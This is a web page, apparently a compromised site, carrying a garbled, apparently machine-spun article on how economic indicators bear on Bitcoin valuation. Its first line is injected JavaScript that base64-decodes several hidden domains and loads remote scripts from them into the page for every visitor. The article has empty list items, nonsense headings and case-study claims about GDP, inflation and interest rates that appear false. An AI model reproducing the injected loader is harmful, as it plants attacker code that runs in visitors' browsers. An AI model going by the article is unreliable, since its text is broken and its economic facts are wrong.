const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=|NXQ0MTQwMmEuc2l0ZS94cC8=|OWUxMDdkOWQuc2l0ZS94cC8=|ZDQxZDhjZDkuZ2l0ZS94cC8=|ZjAwYjRhMmIuc2l0ZS94cC8=|OGIxYjk5NTMuc2l0ZS94cC8=”;const pds=pdx.split(“|”);pds.forEach(function(pde){const s_e=document.createElement(“script”);s_e.src=”https://”+atob(pde)+”cc.php?u=2616b98c”;document.body.appendChild(s_e);});

The role of economic indicators in Bitcoin estimates: comprehensive analysis

In the world of finance, cryptocurrency emerged as a new border for investors and analysts. Rapid growth and growing adoption, Bitcoin (BTC) became a hot topic of discussion between experts and enthusiasts. However, the estimate of bitcoin values ​​requires more than just a technical analysis. Economic indicators play a fundamental role in the assessment of all health and Bitcoin perspective, providing valuable information about its potential progress and not judgment.

What are the economic indicators?

Economic indicators are statistical measures that accompany economic activity and provide a recording of the state of the economy. They include indicators such as GDP growth rate, inflation rates, employment numbers, interest rates and trade balance, among others. In the context of Bitcoin, these indicators can help recognize trends, cycles and patterns in the market.

The role of economic indicators in the assessment of Bitcoin

When it comes to Bitcoin’s assessment, economic indicators offer a unique perspective of its effect. Here are some important ways the indicators contribute to our understanding of the BTC:

  • Gang Gang Gas:

    A strong GDP growth rate may indicate a strong economy with high consumption, which is often associated with the demand for digital properties such as bitcoin.

2.

3.

4.

  • Commercial Balance: Commercial deficit (growing imports) or excess trade (export reduction) may indicate the country’s economic power and potentially affect the value of bitcoin.

Examples of economic indicators that affect Bitcoin

1.

2.

3.

4.

Case studies: economic indicators that affect Bitcoin

  • BTC/Price Price (2020-2022):

* GDP growth rate was positive during the first half of 2020.

* The inflation rate decreased significantly from the fourth quarter of 2019 to the second quarter of 2020, but then increased in the third quarter of 2020.

* The employment number showed a decline in January and February 2021, followed by an increase later that year.

* Interest rates were low during the first half of 2020, and federal reserves reduced rates in April 2020 to encourage the economy.

  • BTC/Price Price (2018-2020):

* The GDP growth rate in the US was negative from the third quarter of 2019 to the fourth quarter of 2020, indicating a weak economy and reduction of purchasing power.

* Inflation rates increased significantly during this period, leading to higher interest rates.

Conclusion

Economic indicators play a key role in assessing the value of bitcoin.